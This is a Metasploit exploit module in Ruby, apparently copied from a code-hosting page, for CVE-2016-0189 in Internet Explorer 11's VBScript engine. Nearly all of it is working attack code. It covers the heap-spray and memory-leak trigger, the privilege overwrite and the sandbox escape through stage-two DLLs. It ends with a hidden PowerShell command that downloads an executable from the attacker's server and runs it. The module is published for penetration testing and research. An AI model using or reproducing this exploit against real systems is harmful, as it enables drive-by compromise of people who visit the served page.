480 lines
15 KiB
Ruby
480 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption",
|
|
'Description' => %q{
|
|
This module exploits the memory corruption vulnerability (CVE-2016-0189)
|
|
present in the VBScript engine of Internet Explorer 11.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Theori', # Original RE research and exploitation
|
|
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[ 'Windows 10 with IE 11', { } ]
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2016-0189' ],
|
|
[ 'MSB', 'MS16-051' ]
|
|
],
|
|
'Arch' => ARCH_X64,
|
|
'DisclosureDate' => '2016-05-10',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def setup
|
|
# @stage2html = Rex::Text.rand_text_alphanum(6)
|
|
@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri
|
|
@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri
|
|
@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html
|
|
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
|
|
@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"
|
|
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }
|
|
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }
|
|
super
|
|
end
|
|
|
|
def exploit_html(req_uri)
|
|
srvhost = datastore['SRVHOST']
|
|
srvport = datastore['SRVPORT']
|
|
|
|
template = <<-EOF
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="x-ua-compatible" content="IE=10">
|
|
</head>
|
|
<body>
|
|
|
|
<script type="text/vbscript">
|
|
Dim downloadFiles
|
|
Dim cacheRegex
|
|
Dim cacheFiles(3)
|
|
|
|
Dim downloadState
|
|
Dim pinTime
|
|
|
|
Dim oFSO
|
|
Dim oWS
|
|
Dim shell
|
|
|
|
function FindFile(path, regexFile)
|
|
FindFile = ""
|
|
For Each f in oFSO.GetFolder(path).Files
|
|
If regexFile.Test(f.Name) Then
|
|
FindFile = f.Name
|
|
Exit For
|
|
End If
|
|
Next
|
|
end function
|
|
|
|
function SearchCache(path, regexFile)
|
|
SearchCache = ""
|
|
For Each fld in oFSO.GetFolder(path).SubFolders
|
|
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
|
|
filename = FindFile(path & "\\" & fld.Name, regexFile)
|
|
If filename <> "" Then
|
|
SearchCache = path & "\\" & fld.Name & "\\" & filename
|
|
Exit For
|
|
End If
|
|
'End If
|
|
Next
|
|
end function
|
|
|
|
function loaddll()
|
|
On Error Resume Next
|
|
|
|
Set wshSystemEnv = oWS.Environment("Process")
|
|
tmpDir = oFSO.GetSpecialFolder(2)
|
|
|
|
tmpSysDir = tmpDir & "\\System32"
|
|
tmpShellFile = tmpSysDir & "\\shell32.dll"
|
|
oFSO.CreateFolder(tmpSysDir)
|
|
oFSO.MoveFile cacheFiles(0), tmpShellFile
|
|
|
|
mydllFile = tmpDir & "\\" & downloadFiles(1)
|
|
oFSO.MoveFile cacheFiles(1), mydllFile
|
|
wshSystemEnv("MyDllPath") = mydllFile
|
|
|
|
If (UBound(downloadFiles) = 2) Then
|
|
stage2File = tmpDir & "\\#{@pm_escape_html}.html"
|
|
oFSO.MoveFile cacheFiles(2), stage2File
|
|
wshSystemEnv("stage2file") = stage2File
|
|
End If
|
|
|
|
saveRoot = wshSystemEnv("SystemRoot")
|
|
wshSystemEnv("SaveSystemRoot") = saveRoot
|
|
wshSystemEnv("SystemRoot") = tmpDir
|
|
Set shell = CreateObject("Shell.Application")
|
|
|
|
If (UBound(downloadFiles) = 2) Then
|
|
call tolocal()
|
|
End If
|
|
end function
|
|
|
|
Sub OnDownloadDone()
|
|
If InStr(userAgent, "NT 5.") > 0 Then
|
|
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
|
|
cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"
|
|
Else
|
|
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
|
|
cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"
|
|
End If
|
|
|
|
Set regexFile = new regexp
|
|
regexFile.Pattern = cacheRegex(downloadState)
|
|
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
|
|
If cacheFiles(downloadState) = "" Then
|
|
Exit Sub
|
|
End If
|
|
|
|
If downloadState = UBound(downloadFiles) Then
|
|
loaddll()
|
|
Else
|
|
downloadState = downloadState + 1
|
|
DoDownload()
|
|
End If
|
|
End Sub
|
|
|
|
Sub DoDownload()
|
|
pinTime = Now
|
|
call getdll(downloadFiles(downloadState))
|
|
End Sub
|
|
|
|
Sub runshell()
|
|
downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
|
|
cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")
|
|
Set oFSO = CreateObject("Scripting.FileSystemObject")
|
|
Set oWS = CreateObject("WScript.Shell")
|
|
downloadState = 0
|
|
DoDownload()
|
|
End Sub
|
|
|
|
</script>
|
|
|
|
<script type="text/vbscript">
|
|
Dim bl
|
|
Dim plunge(32)
|
|
Dim y(32)
|
|
prefix = "%u4141%u4141"
|
|
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
|
|
b = String(64000, "D")
|
|
c = d & b
|
|
x = UnEscape(c)
|
|
|
|
Class ArrayWrapper
|
|
Dim A
|
|
|
|
Private Sub Class_Initialize
|
|
ReDim Preserve AA(1, 2000)
|
|
A = AA
|
|
End Sub
|
|
|
|
Public Sub Resize()
|
|
ReDim Preserve A(1, 1)
|
|
End Sub
|
|
End Class
|
|
|
|
Class Spray
|
|
End Class
|
|
|
|
|
|
Function getAddr (arg1, s)
|
|
bl = Null
|
|
Set bl = New ArrayWrapper
|
|
|
|
For i = 0 To 32
|
|
Set plunge(i) = s
|
|
Next
|
|
|
|
Set bl.A(arg1, 2) = s
|
|
|
|
Dim addr
|
|
Dim i
|
|
For i = 0 To 31
|
|
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
|
|
addr = strToInt(Mid(y(i), 3 + 4, 2))
|
|
End If
|
|
y(i) = Null
|
|
Next
|
|
|
|
If addr = Null Then
|
|
document.location.href = document.location.href
|
|
Return
|
|
End If
|
|
|
|
getAddr = addr
|
|
End Function
|
|
|
|
Function leakMem (arg1, addr)
|
|
d = prefix & "%u0008%u4141%u4141%u4141"
|
|
c = d & intToStr(addr) & b
|
|
x = UnEscape(c)
|
|
|
|
bl = Null
|
|
Set bl = New ArrayWrapper
|
|
|
|
Dim o
|
|
o = bl.A(arg1, 2)
|
|
|
|
leakMem = o
|
|
End Function
|
|
|
|
Sub overwrite (arg1, addr)
|
|
d = prefix & "%u400C%u0000%u0000%u0000"
|
|
c = d & intToStr(addr) & b
|
|
x = UnEscape(c)
|
|
|
|
bl = Null
|
|
Set bl = New ArrayWrapper
|
|
bl.A(arg1, 2) = CSng(0)
|
|
End Sub
|
|
|
|
Function exploit (arg1)
|
|
Dim addr
|
|
Dim csession
|
|
Dim olescript
|
|
Dim mem
|
|
|
|
Set sp = New Spray
|
|
addr = getAddr(arg1, sp)
|
|
mem = leakMem(arg1, addr + 8)
|
|
csession = strToInt(Mid(mem, 3, 2))
|
|
mem = leakMem(arg1, csession + 4)
|
|
olescript = strToInt(Mid(mem, 1, 2))
|
|
overwrite arg1, olescript + &H174
|
|
runshell()
|
|
|
|
End Function
|
|
|
|
Function triggerBug
|
|
bl.Resize()
|
|
|
|
Dim i
|
|
For i = 0 To 32
|
|
y(i) = Mid(x, 1, 24000)
|
|
Next
|
|
End Function
|
|
</script>
|
|
|
|
<script type="text/javascript">
|
|
var userAgent = navigator.userAgent;
|
|
var oReq;
|
|
function getdll(downloadFile)
|
|
{
|
|
oReq = new XMLHttpRequest();
|
|
oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
|
|
oReq.onreadystatechange = handler;
|
|
oReq.send();
|
|
}
|
|
function handler()
|
|
{
|
|
if (oReq.readyState == 4 && oReq.status == 200) {
|
|
OnDownloadDone();
|
|
}
|
|
}
|
|
function tolocal()
|
|
{
|
|
location.href = "http://localhost:5555/#{@pm_escape_html}.html";
|
|
}
|
|
function strToInt(s)
|
|
{
|
|
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
|
|
}
|
|
function intToStr(x)
|
|
{
|
|
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
|
|
}
|
|
var o;
|
|
o = {"valueOf": function () {
|
|
triggerBug();
|
|
return 1;
|
|
}};
|
|
setTimeout(function() {exploit(o);}, 50);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOF
|
|
|
|
template
|
|
end
|
|
|
|
def stage2_html(req_uri)
|
|
|
|
template = <<-EOF
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="x-ua-compatible" content="IE=10">
|
|
</head>
|
|
<body>
|
|
<script type="text/vbscript">
|
|
Dim aw
|
|
Dim plunge(32)
|
|
Dim y(32)
|
|
prefix = "%u4141%u4141"
|
|
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
|
|
b = String(64000, "D")
|
|
c = d & b
|
|
x = UnEscape(c)
|
|
|
|
Class ArrayWrapper
|
|
Dim A()
|
|
Private Sub Class_Initialize
|
|
ReDim Preserve A(1, 2000)
|
|
End Sub
|
|
|
|
Public Sub Resize()
|
|
ReDim Preserve A(1, 1)
|
|
End Sub
|
|
End Class
|
|
|
|
Class Dummy
|
|
End Class
|
|
|
|
Function getAddr (arg1, s)
|
|
aw = Null
|
|
Set aw = New ArrayWrapper
|
|
|
|
For i = 0 To 32
|
|
Set plunge(i) = s
|
|
Next
|
|
|
|
Set aw.A(arg1, 2) = s
|
|
|
|
Dim addr
|
|
Dim i
|
|
For i = 0 To 31
|
|
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
|
|
addr = strToInt(Mid(y(i), 3 + 4, 2))
|
|
End If
|
|
y(i) = Null
|
|
Next
|
|
|
|
If addr = Null Then
|
|
document.location.href = document.location.href
|
|
Return
|
|
End If
|
|
|
|
getAddr = addr
|
|
End Function
|
|
|
|
Function leakMem (arg1, addr)
|
|
d = prefix & "%u0008%u4141%u4141%u4141"
|
|
c = d & intToStr(addr) & b
|
|
x = UnEscape(c)
|
|
|
|
aw = Null
|
|
Set aw = New ArrayWrapper
|
|
|
|
Dim o
|
|
o = aw.A(arg1, 2)
|
|
|
|
leakMem = o
|
|
End Function
|
|
|
|
Sub overwrite (arg1, addr)
|
|
d = prefix & "%u400C%u0000%u0000%u0000"
|
|
c = d & intToStr(addr) & b
|
|
x = UnEscape(c)
|
|
|
|
aw = Null
|
|
Set aw = New ArrayWrapper
|
|
aw.A(arg1, 2) = CSng(0)
|
|
End Sub
|
|
|
|
Function exploit (arg1)
|
|
Dim addr
|
|
Dim csession
|
|
Dim olescript
|
|
Dim mem
|
|
|
|
Set dm = New Dummy
|
|
addr = getAddr(arg1, dm)
|
|
mem = leakMem(arg1, addr + 8)
|
|
csession = strToInt(Mid(mem, 3, 2))
|
|
mem = leakMem(arg1, csession + 4)
|
|
olescript = strToInt(Mid(mem, 1, 2))
|
|
overwrite arg1, olescript + &H174
|
|
|
|
Set shObj = CreateObject("Wscript.shell")
|
|
shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
|
|
shObj.Run("%temp%\\#{@payload_exe}")
|
|
|
|
End Function
|
|
|
|
Function triggerBug
|
|
aw.Resize()
|
|
|
|
Dim i
|
|
For i = 0 To 32
|
|
y(i) = Mid(x, 1, 24000)
|
|
Next
|
|
End Function
|
|
</script>
|
|
|
|
<script type="text/javascript">
|
|
function strToInt(s)
|
|
{
|
|
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
|
|
}
|
|
function intToStr(x)
|
|
{
|
|
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
|
|
}
|
|
var o;
|
|
o = {"valueOf": function () {
|
|
triggerBug();
|
|
return 1;
|
|
}};
|
|
setTimeout(function() {exploit(o);}, 50);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
EOF
|
|
template
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# used for some debugging stuff
|
|
ies = @ieshell
|
|
ls = @localsrv
|
|
pm = @pm_escape_html
|
|
|
|
print_status("Received request: #{request.uri}")
|
|
if request.uri =~ /.*#{ies}.*$/
|
|
print_status("Sending stage two DLL ...")
|
|
send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
|
elsif request.uri =~ /.*#{ls}.*$/
|
|
print_status("Sending local server DLL ...")
|
|
send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
|
elsif request.uri =~ /.*#{pm}.*$/
|
|
rq = "#{get_resource.chomp('/')}"
|
|
gm = stage2_html(rq)
|
|
send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
|
elsif request.uri =~ /.*#{@payload_uri}$/
|
|
return if ((payload = regenerate_payload(cli)) == nil)
|
|
print_status("Sending payload ...")
|
|
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
|
|
else
|
|
print_status("Sending main page ..")
|
|
send_response(cli, exploit_html(request.uri))
|
|
end
|
|
end
|
|
end
|
|
|